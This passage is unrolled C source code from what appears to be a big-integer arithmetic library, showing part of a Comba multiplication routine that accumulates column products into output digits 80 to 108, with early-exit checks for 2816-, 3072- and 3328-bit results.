MULADD(at[17], at[127]); MULADD(at[18], at[126]); MULADD(at[19], at[125]); MULADD(at[20], at[124]); MULADD(at[21], at[123]); MULADD(at[22], at[122]); MULADD(at[23], at[121]); MULADD(at[24], at[120]); MULADD(at[25], at[119]); MULADD(at[26], at[118]); MULADD(at[27], at[117]); MULADD(at[28], at[116]); MULADD(at[29], at[115]); MULADD(at[30], at[114]); MULADD(at[31], at[113]); MULADD(at[32], at[112]); MULADD(at[33], at[111]); MULADD(at[34], at[110]); MULADD(at[35], at[109]); MULADD(at[36], at[108]); MULADD(at[37], at[107]); MULADD(at[38], at[106]); MULADD(at[39], at[105]); MULADD(at[40], at[104]); MULADD(at[41], at[103]); MULADD(at[42], at[102]); MULADD(at[43], at[101]); MULADD(at[44], at[100]); MULADD(at[45], at[99]); MULADD(at[46], at[98]); MULADD(at[47], at[97]); MULADD(at[48], at[96]); MULADD(at[49], at[95]); MULADD(at[50], at[94]); MULADD(at[51], at[93]); MULADD(at[52], at[92]); MULADD(at[53], at[91]); MULADD(at[54], at[90]); MULADD(at[55], at[89]); MULADD(at[56], at[88]); MULADD(at[57], at[87]); MULADD(at[58], at[86]); MULADD(at[59], at[85]); MULADD(at[60], at[84]); MULADD(at[61], at[83]); MULADD(at[62], at[82]); MULADD(at[63], at[81]);
COMBA_STORE(C->dp[80]);
/* 81 */
COMBA_FORWARD;
MULADD(at[18], at[127]); MULADD(at[19], at[126]); MULADD(at[20], at[125]); MULADD(at[21], at[124]); MULADD(at[22], at[123]); MULADD(at[23], at[122]); MULADD(at[24], at[121]); MULADD(at[25], at[120]); MULADD(at[26], at[119]); MULADD(at[27], at[118]); MULADD(at[28], at[117]); MULADD(at[29], at[116]); MULADD(at[30], at[115]); MULADD(at[31], at[114]); MULADD(at[32], at[113]); MULADD(at[33], at[112]); MULADD(at[34], at[111]); MULADD(at[35], at[110]); MULADD(at[36], at[109]); MULADD(at[37], at[108]); MULADD(at[38], at[107]); MULADD(at[39], at[106]); MULADD(at[40], at[105]); MULADD(at[41], at[104]); MULADD(at[42], at[103]); MULADD(at[43], at[102]); MULADD(at[44], at[101]); MULADD(at[45], at[100]); MULADD(at[46], at[99]); MULADD(at[47], at[98]); MULADD(at[48], at[97]); MULADD(at[49], at[96]); MULADD(at[50], at[95]); MULADD(at[51], at[94]); MULADD(at[52], at[93]); MULADD(at[53], at[92]); MULADD(at[54], at[91]); MULADD(at[55], at[90]); MULADD(at[56], at[89]); MULADD(at[57], at[88]); MULADD(at[58], at[87]); MULADD(at[59], at[86]); MULADD(at[60], at[85]); MULADD(at[61], at[84]); MULADD(at[62], at[83]); MULADD(at[63], at[82]);
COMBA_STORE(C->dp[81]);
/* 82 */
COMBA_FORWARD;
MULADD(at[19], at[127]); MULADD(at[20], at[126]); MULADD(at[21], at[125]); MULADD(at[22], at[124]); MULADD(at[23], at[123]); MULADD(at[24], at[122]); MULADD(at[25], at[121]); MULADD(at[26], at[120]); MULADD(at[27], at[119]); MULADD(at[28], at[118]); MULADD(at[29], at[117]); MULADD(at[30], at[116]); MULADD(at[31], at[115]); MULADD(at[32], at[114]); MULADD(at[33], at[113]); MULADD(at[34], at[112]); MULADD(at[35], at[111]); MULADD(at[36], at[110]); MULADD(at[37], at[109]); MULADD(at[38], at[108]); MULADD(at[39], at[107]); MULADD(at[40], at[106]); MULADD(at[41], at[105]); MULADD(at[42], at[104]); MULADD(at[43], at[103]); MULADD(at[44], at[102]); MULADD(at[45], at[101]); MULADD(at[46], at[100]); MULADD(at[47], at[99]); MULADD(at[48], at[98]); MULADD(at[49], at[97]); MULADD(at[50], at[96]); MULADD(at[51], at[95]); MULADD(at[52], at[94]); MULADD(at[53], at[93]); MULADD(at[54], at[92]); MULADD(at[55], at[91]); MULADD(at[56], at[90]); MULADD(at[57], at[89]); MULADD(at[58], at[88]); MULADD(at[59], at[87]); MULADD(at[60], at[86]); MULADD(at[61], at[85]); MULADD(at[62], at[84]); MULADD(at[63], at[83]);
COMBA_STORE(C->dp[82]);
/* 83 */
COMBA_FORWARD;
MULADD(at[20], at[127]); MULADD(at[21], at[126]); MULADD(at[22], at[125]); MULADD(at[23], at[124]); MULADD(at[24], at[123]); MULADD(at[25], at[122]); MULADD(at[26], at[121]); MULADD(at[27], at[120]); MULADD(at[28], at[119]); MULADD(at[29], at[118]); MULADD(at[30], at[117]); MULADD(at[31], at[116]); MULADD(at[32], at[115]); MULADD(at[33], at[114]); MULADD(at[34], at[113]); MULADD(at[35], at[112]); MULADD(at[36], at[111]); MULADD(at[37], at[110]); MULADD(at[38], at[109]); MULADD(at[39], at[108]); MULADD(at[40], at[107]); MULADD(at[41], at[106]); MULADD(at[42], at[105]); MULADD(at[43], at[104]); MULADD(at[44], at[103]); MULADD(at[45], at[102]); MULADD(at[46], at[101]); MULADD(at[47], at[100]); MULADD(at[48], at[99]); MULADD(at[49], at[98]); MULADD(at[50], at[97]); MULADD(at[51], at[96]); MULADD(at[52], at[95]); MULADD(at[53], at[94]); MULADD(at[54], at[93]); MULADD(at[55], at[92]); MULADD(at[56], at[91]); MULADD(at[57], at[90]); MULADD(at[58], at[89]); MULADD(at[59], at[88]); MULADD(at[60], at[87]); MULADD(at[61], at[86]); MULADD(at[62], at[85]); MULADD(at[63], at[84]);
COMBA_STORE(C->dp[83]);
/* 84 */
COMBA_FORWARD;
MULADD(at[21], at[127]); MULADD(at[22], at[126]); MULADD(at[23], at[125]); MULADD(at[24], at[124]); MULADD(at[25], at[123]); MULADD(at[26], at[122]); MULADD(at[27], at[121]); MULADD(at[28], at[120]); MULADD(at[29], at[119]); MULADD(at[30], at[118]); MULADD(at[31], at[117]); MULADD(at[32], at[116]); MULADD(at[33], at[115]); MULADD(at[34], at[114]); MULADD(at[35], at[113]); MULADD(at[36], at[112]); MULADD(at[37], at[111]); MULADD(at[38], at[110]); MULADD(at[39], at[109]); MULADD(at[40], at[108]); MULADD(at[41], at[107]); MULADD(at[42], at[106]); MULADD(at[43], at[105]); MULADD(at[44], at[104]); MULADD(at[45], at[103]); MULADD(at[46], at[102]); MULADD(at[47], at[101]); MULADD(at[48], at[100]); MULADD(at[49], at[99]); MULADD(at[50], at[98]); MULADD(at[51], at[97]); MULADD(at[52], at[96]); MULADD(at[53], at[95]); MULADD(at[54], at[94]); MULADD(at[55], at[93]); MULADD(at[56], at[92]); MULADD(at[57], at[91]); MULADD(at[58], at[90]); MULADD(at[59], at[89]); MULADD(at[60], at[88]); MULADD(at[61], at[87]); MULADD(at[62], at[86]); MULADD(at[63], at[85]);
COMBA_STORE(C->dp[84]);
/* 85 */
COMBA_FORWARD;
MULADD(at[22], at[127]); MULADD(at[23], at[126]); MULADD(at[24], at[125]); MULADD(at[25], at[124]); MULADD(at[26], at[123]); MULADD(at[27], at[122]); MULADD(at[28], at[121]); MULADD(at[29], at[120]); MULADD(at[30], at[119]); MULADD(at[31], at[118]); MULADD(at[32], at[117]); MULADD(at[33], at[116]); MULADD(at[34], at[115]); MULADD(at[35], at[114]); MULADD(at[36], at[113]); MULADD(at[37], at[112]); MULADD(at[38], at[111]); MULADD(at[39], at[110]); MULADD(at[40], at[109]); MULADD(at[41], at[108]); MULADD(at[42], at[107]); MULADD(at[43], at[106]); MULADD(at[44], at[105]); MULADD(at[45], at[104]); MULADD(at[46], at[103]); MULADD(at[47], at[102]); MULADD(at[48], at[101]); MULADD(at[49], at[100]); MULADD(at[50], at[99]); MULADD(at[51], at[98]); MULADD(at[52], at[97]); MULADD(at[53], at[96]); MULADD(at[54], at[95]); MULADD(at[55], at[94]); MULADD(at[56], at[93]); MULADD(at[57], at[92]); MULADD(at[58], at[91]); MULADD(at[59], at[90]); MULADD(at[60], at[89]); MULADD(at[61], at[88]); MULADD(at[62], at[87]); MULADD(at[63], at[86]);
COMBA_STORE(C->dp[85]);
/* 86 */
COMBA_FORWARD;
MULADD(at[23], at[127]); MULADD(at[24], at[126]); MULADD(at[25], at[125]); MULADD(at[26], at[124]); MULADD(at[27], at[123]); MULADD(at[28], at[122]); MULADD(at[29], at[121]); MULADD(at[30], at[120]); MULADD(at[31], at[119]); MULADD(at[32], at[118]); MULADD(at[33], at[117]); MULADD(at[34], at[116]); MULADD(at[35], at[115]); MULADD(at[36], at[114]); MULADD(at[37], at[113]); MULADD(at[38], at[112]); MULADD(at[39], at[111]); MULADD(at[40], at[110]); MULADD(at[41], at[109]); MULADD(at[42], at[108]); MULADD(at[43], at[107]); MULADD(at[44], at[106]); MULADD(at[45], at[105]); MULADD(at[46], at[104]); MULADD(at[47], at[103]); MULADD(at[48], at[102]); MULADD(at[49], at[101]); MULADD(at[50], at[100]); MULADD(at[51], at[99]); MULADD(at[52], at[98]); MULADD(at[53], at[97]); MULADD(at[54], at[96]); MULADD(at[55], at[95]); MULADD(at[56], at[94]); MULADD(at[57], at[93]); MULADD(at[58], at[92]); MULADD(at[59], at[91]); MULADD(at[60], at[90]); MULADD(at[61], at[89]); MULADD(at[62], at[88]); MULADD(at[63], at[87]);
COMBA_STORE(C->dp[86]);
/* early out at 88 digits, 88*32==2816, or two 1408 bit operands */
if (out_size <= 88) { COMBA_STORE2(C->dp[87]); C->used = 88; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 87 */
COMBA_FORWARD;
MULADD(at[24], at[127]); MULADD(at[25], at[126]); MULADD(at[26], at[125]); MULADD(at[27], at[124]); MULADD(at[28], at[123]); MULADD(at[29], at[122]); MULADD(at[30], at[121]); MULADD(at[31], at[120]); MULADD(at[32], at[119]); MULADD(at[33], at[118]); MULADD(at[34], at[117]); MULADD(at[35], at[116]); MULADD(at[36], at[115]); MULADD(at[37], at[114]); MULADD(at[38], at[113]); MULADD(at[39], at[112]); MULADD(at[40], at[111]); MULADD(at[41], at[110]); MULADD(at[42], at[109]); MULADD(at[43], at[108]); MULADD(at[44], at[107]); MULADD(at[45], at[106]); MULADD(at[46], at[105]); MULADD(at[47], at[104]); MULADD(at[48], at[103]); MULADD(at[49], at[102]); MULADD(at[50], at[101]); MULADD(at[51], at[100]); MULADD(at[52], at[99]); MULADD(at[53], at[98]); MULADD(at[54], at[97]); MULADD(at[55], at[96]); MULADD(at[56], at[95]); MULADD(at[57], at[94]); MULADD(at[58], at[93]); MULADD(at[59], at[92]); MULADD(at[60], at[91]); MULADD(at[61], at[90]); MULADD(at[62], at[89]); MULADD(at[63], at[88]);
COMBA_STORE(C->dp[87]);
/* 88 */
COMBA_FORWARD;
MULADD(at[25], at[127]); MULADD(at[26], at[126]); MULADD(at[27], at[125]); MULADD(at[28], at[124]); MULADD(at[29], at[123]); MULADD(at[30], at[122]); MULADD(at[31], at[121]); MULADD(at[32], at[120]); MULADD(at[33], at[119]); MULADD(at[34], at[118]); MULADD(at[35], at[117]); MULADD(at[36], at[116]); MULADD(at[37], at[115]); MULADD(at[38], at[114]); MULADD(at[39], at[113]); MULADD(at[40], at[112]); MULADD(at[41], at[111]); MULADD(at[42], at[110]); MULADD(at[43], at[109]); MULADD(at[44], at[108]); MULADD(at[45], at[107]); MULADD(at[46], at[106]); MULADD(at[47], at[105]); MULADD(at[48], at[104]); MULADD(at[49], at[103]); MULADD(at[50], at[102]); MULADD(at[51], at[101]); MULADD(at[52], at[100]); MULADD(at[53], at[99]); MULADD(at[54], at[98]); MULADD(at[55], at[97]); MULADD(at[56], at[96]); MULADD(at[57], at[95]); MULADD(at[58], at[94]); MULADD(at[59], at[93]); MULADD(at[60], at[92]); MULADD(at[61], at[91]); MULADD(at[62], at[90]); MULADD(at[63], at[89]);
COMBA_STORE(C->dp[88]);
/* 89 */
COMBA_FORWARD;
MULADD(at[26], at[127]); MULADD(at[27], at[126]); MULADD(at[28], at[125]); MULADD(at[29], at[124]); MULADD(at[30], at[123]); MULADD(at[31], at[122]); MULADD(at[32], at[121]); MULADD(at[33], at[120]); MULADD(at[34], at[119]); MULADD(at[35], at[118]); MULADD(at[36], at[117]); MULADD(at[37], at[116]); MULADD(at[38], at[115]); MULADD(at[39], at[114]); MULADD(at[40], at[113]); MULADD(at[41], at[112]); MULADD(at[42], at[111]); MULADD(at[43], at[110]); MULADD(at[44], at[109]); MULADD(at[45], at[108]); MULADD(at[46], at[107]); MULADD(at[47], at[106]); MULADD(at[48], at[105]); MULADD(at[49], at[104]); MULADD(at[50], at[103]); MULADD(at[51], at[102]); MULADD(at[52], at[101]); MULADD(at[53], at[100]); MULADD(at[54], at[99]); MULADD(at[55], at[98]); MULADD(at[56], at[97]); MULADD(at[57], at[96]); MULADD(at[58], at[95]); MULADD(at[59], at[94]); MULADD(at[60], at[93]); MULADD(at[61], at[92]); MULADD(at[62], at[91]); MULADD(at[63], at[90]);
COMBA_STORE(C->dp[89]);
/* 90 */
COMBA_FORWARD;
MULADD(at[27], at[127]); MULADD(at[28], at[126]); MULADD(at[29], at[125]); MULADD(at[30], at[124]); MULADD(at[31], at[123]); MULADD(at[32], at[122]); MULADD(at[33], at[121]); MULADD(at[34], at[120]); MULADD(at[35], at[119]); MULADD(at[36], at[118]); MULADD(at[37], at[117]); MULADD(at[38], at[116]); MULADD(at[39], at[115]); MULADD(at[40], at[114]); MULADD(at[41], at[113]); MULADD(at[42], at[112]); MULADD(at[43], at[111]); MULADD(at[44], at[110]); MULADD(at[45], at[109]); MULADD(at[46], at[108]); MULADD(at[47], at[107]); MULADD(at[48], at[106]); MULADD(at[49], at[105]); MULADD(at[50], at[104]); MULADD(at[51], at[103]); MULADD(at[52], at[102]); MULADD(at[53], at[101]); MULADD(at[54], at[100]); MULADD(at[55], at[99]); MULADD(at[56], at[98]); MULADD(at[57], at[97]); MULADD(at[58], at[96]); MULADD(at[59], at[95]); MULADD(at[60], at[94]); MULADD(at[61], at[93]); MULADD(at[62], at[92]); MULADD(at[63], at[91]);
COMBA_STORE(C->dp[90]);
/* 91 */
COMBA_FORWARD;
MULADD(at[28], at[127]); MULADD(at[29], at[126]); MULADD(at[30], at[125]); MULADD(at[31], at[124]); MULADD(at[32], at[123]); MULADD(at[33], at[122]); MULADD(at[34], at[121]); MULADD(at[35], at[120]); MULADD(at[36], at[119]); MULADD(at[37], at[118]); MULADD(at[38], at[117]); MULADD(at[39], at[116]); MULADD(at[40], at[115]); MULADD(at[41], at[114]); MULADD(at[42], at[113]); MULADD(at[43], at[112]); MULADD(at[44], at[111]); MULADD(at[45], at[110]); MULADD(at[46], at[109]); MULADD(at[47], at[108]); MULADD(at[48], at[107]); MULADD(at[49], at[106]); MULADD(at[50], at[105]); MULADD(at[51], at[104]); MULADD(at[52], at[103]); MULADD(at[53], at[102]); MULADD(at[54], at[101]); MULADD(at[55], at[100]); MULADD(at[56], at[99]); MULADD(at[57], at[98]); MULADD(at[58], at[97]); MULADD(at[59], at[96]); MULADD(at[60], at[95]); MULADD(at[61], at[94]); MULADD(at[62], at[93]); MULADD(at[63], at[92]);
COMBA_STORE(C->dp[91]);
/* 92 */
COMBA_FORWARD;
MULADD(at[29], at[127]); MULADD(at[30], at[126]); MULADD(at[31], at[125]); MULADD(at[32], at[124]); MULADD(at[33], at[123]); MULADD(at[34], at[122]); MULADD(at[35], at[121]); MULADD(at[36], at[120]); MULADD(at[37], at[119]); MULADD(at[38], at[118]); MULADD(at[39], at[117]); MULADD(at[40], at[116]); MULADD(at[41], at[115]); MULADD(at[42], at[114]); MULADD(at[43], at[113]); MULADD(at[44], at[112]); MULADD(at[45], at[111]); MULADD(at[46], at[110]); MULADD(at[47], at[109]); MULADD(at[48], at[108]); MULADD(at[49], at[107]); MULADD(at[50], at[106]); MULADD(at[51], at[105]); MULADD(at[52], at[104]); MULADD(at[53], at[103]); MULADD(at[54], at[102]); MULADD(at[55], at[101]); MULADD(at[56], at[100]); MULADD(at[57], at[99]); MULADD(at[58], at[98]); MULADD(at[59], at[97]); MULADD(at[60], at[96]); MULADD(at[61], at[95]); MULADD(at[62], at[94]); MULADD(at[63], at[93]);
COMBA_STORE(C->dp[92]);
/* 93 */
COMBA_FORWARD;
MULADD(at[30], at[127]); MULADD(at[31], at[126]); MULADD(at[32], at[125]); MULADD(at[33], at[124]); MULADD(at[34], at[123]); MULADD(at[35], at[122]); MULADD(at[36], at[121]); MULADD(at[37], at[120]); MULADD(at[38], at[119]); MULADD(at[39], at[118]); MULADD(at[40], at[117]); MULADD(at[41], at[116]); MULADD(at[42], at[115]); MULADD(at[43], at[114]); MULADD(at[44], at[113]); MULADD(at[45], at[112]); MULADD(at[46], at[111]); MULADD(at[47], at[110]); MULADD(at[48], at[109]); MULADD(at[49], at[108]); MULADD(at[50], at[107]); MULADD(at[51], at[106]); MULADD(at[52], at[105]); MULADD(at[53], at[104]); MULADD(at[54], at[103]); MULADD(at[55], at[102]); MULADD(at[56], at[101]); MULADD(at[57], at[100]); MULADD(at[58], at[99]); MULADD(at[59], at[98]); MULADD(at[60], at[97]); MULADD(at[61], at[96]); MULADD(at[62], at[95]); MULADD(at[63], at[94]);
COMBA_STORE(C->dp[93]);
/* 94 */
COMBA_FORWARD;
MULADD(at[31], at[127]); MULADD(at[32], at[126]); MULADD(at[33], at[125]); MULADD(at[34], at[124]); MULADD(at[35], at[123]); MULADD(at[36], at[122]); MULADD(at[37], at[121]); MULADD(at[38], at[120]); MULADD(at[39], at[119]); MULADD(at[40], at[118]); MULADD(at[41], at[117]); MULADD(at[42], at[116]); MULADD(at[43], at[115]); MULADD(at[44], at[114]); MULADD(at[45], at[113]); MULADD(at[46], at[112]); MULADD(at[47], at[111]); MULADD(at[48], at[110]); MULADD(at[49], at[109]); MULADD(at[50], at[108]); MULADD(at[51], at[107]); MULADD(at[52], at[106]); MULADD(at[53], at[105]); MULADD(at[54], at[104]); MULADD(at[55], at[103]); MULADD(at[56], at[102]); MULADD(at[57], at[101]); MULADD(at[58], at[100]); MULADD(at[59], at[99]); MULADD(at[60], at[98]); MULADD(at[61], at[97]); MULADD(at[62], at[96]); MULADD(at[63], at[95]);
COMBA_STORE(C->dp[94]);
/* early out at 96 digits, 96*32==3072, or two 1536 bit operands */
if (out_size <= 96) { COMBA_STORE2(C->dp[95]); C->used = 96; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 95 */
COMBA_FORWARD;
MULADD(at[32], at[127]); MULADD(at[33], at[126]); MULADD(at[34], at[125]); MULADD(at[35], at[124]); MULADD(at[36], at[123]); MULADD(at[37], at[122]); MULADD(at[38], at[121]); MULADD(at[39], at[120]); MULADD(at[40], at[119]); MULADD(at[41], at[118]); MULADD(at[42], at[117]); MULADD(at[43], at[116]); MULADD(at[44], at[115]); MULADD(at[45], at[114]); MULADD(at[46], at[113]); MULADD(at[47], at[112]); MULADD(at[48], at[111]); MULADD(at[49], at[110]); MULADD(at[50], at[109]); MULADD(at[51], at[108]); MULADD(at[52], at[107]); MULADD(at[53], at[106]); MULADD(at[54], at[105]); MULADD(at[55], at[104]); MULADD(at[56], at[103]); MULADD(at[57], at[102]); MULADD(at[58], at[101]); MULADD(at[59], at[100]); MULADD(at[60], at[99]); MULADD(at[61], at[98]); MULADD(at[62], at[97]); MULADD(at[63], at[96]);
COMBA_STORE(C->dp[95]);
/* 96 */
COMBA_FORWARD;
MULADD(at[33], at[127]); MULADD(at[34], at[126]); MULADD(at[35], at[125]); MULADD(at[36], at[124]); MULADD(at[37], at[123]); MULADD(at[38], at[122]); MULADD(at[39], at[121]); MULADD(at[40], at[120]); MULADD(at[41], at[119]); MULADD(at[42], at[118]); MULADD(at[43], at[117]); MULADD(at[44], at[116]); MULADD(at[45], at[115]); MULADD(at[46], at[114]); MULADD(at[47], at[113]); MULADD(at[48], at[112]); MULADD(at[49], at[111]); MULADD(at[50], at[110]); MULADD(at[51], at[109]); MULADD(at[52], at[108]); MULADD(at[53], at[107]); MULADD(at[54], at[106]); MULADD(at[55], at[105]); MULADD(at[56], at[104]); MULADD(at[57], at[103]); MULADD(at[58], at[102]); MULADD(at[59], at[101]); MULADD(at[60], at[100]); MULADD(at[61], at[99]); MULADD(at[62], at[98]); MULADD(at[63], at[97]);
COMBA_STORE(C->dp[96]);
/* 97 */
COMBA_FORWARD;
MULADD(at[34], at[127]); MULADD(at[35], at[126]); MULADD(at[36], at[125]); MULADD(at[37], at[124]); MULADD(at[38], at[123]); MULADD(at[39], at[122]); MULADD(at[40], at[121]); MULADD(at[41], at[120]); MULADD(at[42], at[119]); MULADD(at[43], at[118]); MULADD(at[44], at[117]); MULADD(at[45], at[116]); MULADD(at[46], at[115]); MULADD(at[47], at[114]); MULADD(at[48], at[113]); MULADD(at[49], at[112]); MULADD(at[50], at[111]); MULADD(at[51], at[110]); MULADD(at[52], at[109]); MULADD(at[53], at[108]); MULADD(at[54], at[107]); MULADD(at[55], at[106]); MULADD(at[56], at[105]); MULADD(at[57], at[104]); MULADD(at[58], at[103]); MULADD(at[59], at[102]); MULADD(at[60], at[101]); MULADD(at[61], at[100]); MULADD(at[62], at[99]); MULADD(at[63], at[98]);
COMBA_STORE(C->dp[97]);
/* 98 */
COMBA_FORWARD;
MULADD(at[35], at[127]); MULADD(at[36], at[126]); MULADD(at[37], at[125]); MULADD(at[38], at[124]); MULADD(at[39], at[123]); MULADD(at[40], at[122]); MULADD(at[41], at[121]); MULADD(at[42], at[120]); MULADD(at[43], at[119]); MULADD(at[44], at[118]); MULADD(at[45], at[117]); MULADD(at[46], at[116]); MULADD(at[47], at[115]); MULADD(at[48], at[114]); MULADD(at[49], at[113]); MULADD(at[50], at[112]); MULADD(at[51], at[111]); MULADD(at[52], at[110]); MULADD(at[53], at[109]); MULADD(at[54], at[108]); MULADD(at[55], at[107]); MULADD(at[56], at[106]); MULADD(at[57], at[105]); MULADD(at[58], at[104]); MULADD(at[59], at[103]); MULADD(at[60], at[102]); MULADD(at[61], at[101]); MULADD(at[62], at[100]); MULADD(at[63], at[99]);
COMBA_STORE(C->dp[98]);
/* 99 */
COMBA_FORWARD;
MULADD(at[36], at[127]); MULADD(at[37], at[126]); MULADD(at[38], at[125]); MULADD(at[39], at[124]); MULADD(at[40], at[123]); MULADD(at[41], at[122]); MULADD(at[42], at[121]); MULADD(at[43], at[120]); MULADD(at[44], at[119]); MULADD(at[45], at[118]); MULADD(at[46], at[117]); MULADD(at[47], at[116]); MULADD(at[48], at[115]); MULADD(at[49], at[114]); MULADD(at[50], at[113]); MULADD(at[51], at[112]); MULADD(at[52], at[111]); MULADD(at[53], at[110]); MULADD(at[54], at[109]); MULADD(at[55], at[108]); MULADD(at[56], at[107]); MULADD(at[57], at[106]); MULADD(at[58], at[105]); MULADD(at[59], at[104]); MULADD(at[60], at[103]); MULADD(at[61], at[102]); MULADD(at[62], at[101]); MULADD(at[63], at[100]);
COMBA_STORE(C->dp[99]);
/* 100 */
COMBA_FORWARD;
MULADD(at[37], at[127]); MULADD(at[38], at[126]); MULADD(at[39], at[125]); MULADD(at[40], at[124]); MULADD(at[41], at[123]); MULADD(at[42], at[122]); MULADD(at[43], at[121]); MULADD(at[44], at[120]); MULADD(at[45], at[119]); MULADD(at[46], at[118]); MULADD(at[47], at[117]); MULADD(at[48], at[116]); MULADD(at[49], at[115]); MULADD(at[50], at[114]); MULADD(at[51], at[113]); MULADD(at[52], at[112]); MULADD(at[53], at[111]); MULADD(at[54], at[110]); MULADD(at[55], at[109]); MULADD(at[56], at[108]); MULADD(at[57], at[107]); MULADD(at[58], at[106]); MULADD(at[59], at[105]); MULADD(at[60], at[104]); MULADD(at[61], at[103]); MULADD(at[62], at[102]); MULADD(at[63], at[101]);
COMBA_STORE(C->dp[100]);
/* 101 */
COMBA_FORWARD;
MULADD(at[38], at[127]); MULADD(at[39], at[126]); MULADD(at[40], at[125]); MULADD(at[41], at[124]); MULADD(at[42], at[123]); MULADD(at[43], at[122]); MULADD(at[44], at[121]); MULADD(at[45], at[120]); MULADD(at[46], at[119]); MULADD(at[47], at[118]); MULADD(at[48], at[117]); MULADD(at[49], at[116]); MULADD(at[50], at[115]); MULADD(at[51], at[114]); MULADD(at[52], at[113]); MULADD(at[53], at[112]); MULADD(at[54], at[111]); MULADD(at[55], at[110]); MULADD(at[56], at[109]); MULADD(at[57], at[108]); MULADD(at[58], at[107]); MULADD(at[59], at[106]); MULADD(at[60], at[105]); MULADD(at[61], at[104]); MULADD(at[62], at[103]); MULADD(at[63], at[102]);
COMBA_STORE(C->dp[101]);
/* 102 */
COMBA_FORWARD;
MULADD(at[39], at[127]); MULADD(at[40], at[126]); MULADD(at[41], at[125]); MULADD(at[42], at[124]); MULADD(at[43], at[123]); MULADD(at[44], at[122]); MULADD(at[45], at[121]); MULADD(at[46], at[120]); MULADD(at[47], at[119]); MULADD(at[48], at[118]); MULADD(at[49], at[117]); MULADD(at[50], at[116]); MULADD(at[51], at[115]); MULADD(at[52], at[114]); MULADD(at[53], at[113]); MULADD(at[54], at[112]); MULADD(at[55], at[111]); MULADD(at[56], at[110]); MULADD(at[57], at[109]); MULADD(at[58], at[108]); MULADD(at[59], at[107]); MULADD(at[60], at[106]); MULADD(at[61], at[105]); MULADD(at[62], at[104]); MULADD(at[63], at[103]);
COMBA_STORE(C->dp[102]);
/* early out at 104 digits, 104*32==3328, or two 1664 bit operands */
if (out_size <= 104) { COMBA_STORE2(C->dp[103]); C->used = 104; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 103 */
COMBA_FORWARD;
MULADD(at[40], at[127]); MULADD(at[41], at[126]); MULADD(at[42], at[125]); MULADD(at[43], at[124]); MULADD(at[44], at[123]); MULADD(at[45], at[122]); MULADD(at[46], at[121]); MULADD(at[47], at[120]); MULADD(at[48], at[119]); MULADD(at[49], at[118]); MULADD(at[50], at[117]); MULADD(at[51], at[116]); MULADD(at[52], at[115]); MULADD(at[53], at[114]); MULADD(at[54], at[113]); MULADD(at[55], at[112]); MULADD(at[56], at[111]); MULADD(at[57], at[110]); MULADD(at[58], at[109]); MULADD(at[59], at[108]); MULADD(at[60], at[107]); MULADD(at[61], at[106]); MULADD(at[62], at[105]); MULADD(at[63], at[104]);
COMBA_STORE(C->dp[103]);
/* 104 */
COMBA_FORWARD;
MULADD(at[41], at[127]); MULADD(at[42], at[126]); MULADD(at[43], at[125]); MULADD(at[44], at[124]); MULADD(at[45], at[123]); MULADD(at[46], at[122]); MULADD(at[47], at[121]); MULADD(at[48], at[120]); MULADD(at[49], at[119]); MULADD(at[50], at[118]); MULADD(at[51], at[117]); MULADD(at[52], at[116]); MULADD(at[53], at[115]); MULADD(at[54], at[114]); MULADD(at[55], at[113]); MULADD(at[56], at[112]); MULADD(at[57], at[111]); MULADD(at[58], at[110]); MULADD(at[59], at[109]); MULADD(at[60], at[108]); MULADD(at[61], at[107]); MULADD(at[62], at[106]); MULADD(at[63], at[105]);
COMBA_STORE(C->dp[104]);
/* 105 */
COMBA_FORWARD;
MULADD(at[42], at[127]); MULADD(at[43], at[126]); MULADD(at[44], at[125]); MULADD(at[45], at[124]); MULADD(at[46], at[123]); MULADD(at[47], at[122]); MULADD(at[48], at[121]); MULADD(at[49], at[120]); MULADD(at[50], at[119]); MULADD(at[51], at[118]); MULADD(at[52], at[117]); MULADD(at[53], at[116]); MULADD(at[54], at[115]); MULADD(at[55], at[114]); MULADD(at[56], at[113]); MULADD(at[57], at[112]); MULADD(at[58], at[111]); MULADD(at[59], at[110]); MULADD(at[60], at[109]); MULADD(at[61], at[108]); MULADD(at[62], at[107]); MULADD(at[63], at[106]);
COMBA_STORE(C->dp[105]);
/* 106 */
COMBA_FORWARD;
MULADD(at[43], at[127]); MULADD(at[44], at[126]); MULADD(at[45], at[125]); MULADD(at[46], at[124]); MULADD(at[47], at[123]); MULADD(at[48], at[122]); MULADD(at[49], at[121]); MULADD(at[50], at[120]); MULADD(at[51], at[119]); MULADD(at[52], at[118]); MULADD(at[53], at[117]); MULADD(at[54], at[116]); MULADD(at[55], at[115]); MULADD(at[56], at[114]); MULADD(at[57], at[113]); MULADD(at[58], at[112]); MULADD(at[59], at[111]); MULADD(at[60], at[110]); MULADD(at[61], at[109]); MULADD(at[62], at[108]); MULADD(at[63], at[107]);
COMBA_STORE(C->dp[106]);
/* 107 */
COMBA_FORWARD;
MULADD(at[44], at[127]); MULADD(at[45], at[126]); MULADD(at[46], at[125]); MULADD(at[47], at[124]); MULADD(at[48], at[123]); MULADD(at[49], at[122]); MULADD(at[50], at[121]); MULADD(at[51], at[120]); MULADD(at[52], at[119]); MULADD(at[53], at[118]); MULADD(at[54], at[117]); MULADD(at[55], at[116]); MULADD(at[56], at[115]); MULADD(at[57], at[114]); MULADD(at[58], at[113]); MULADD(at[59], at[112]); MULADD(at[60], at[111]); MULADD(at[61], at[110]); MULADD(at[62], at[109]); MULADD(at[63], at[108]);
COMBA_STORE(C->dp[107]);
/* 108 */
COMBA_FORWARD;
MULADD(at[45], at[127]); MULADD(at[46], at[126]); MULADD(at[47], at[125]); MULADD(at[48], at[124]); MULADD(at[49], at[123]); MULADD(at[50], at[122]); MULADD(at[51], at[121]); MULADD(at[52], at[120]); MULADD(at[53], at[119]); MULADD(at[54], at[118]); MULADD(at[55], at[117]); MULADD(at[56], at[116]); MULADD(at[57], at[115]); MULADD(at[58], at[114]); MULADD(at[59], at[113]); MULADD(at[60], at[112]); MULADD(at[61], at[111]); MULADD(at[62], at[110]); MULADD(at[63], at[109]);
COMBA_STORE(C->dp[108]);
/* 109 */
COMBA_FORWARD;
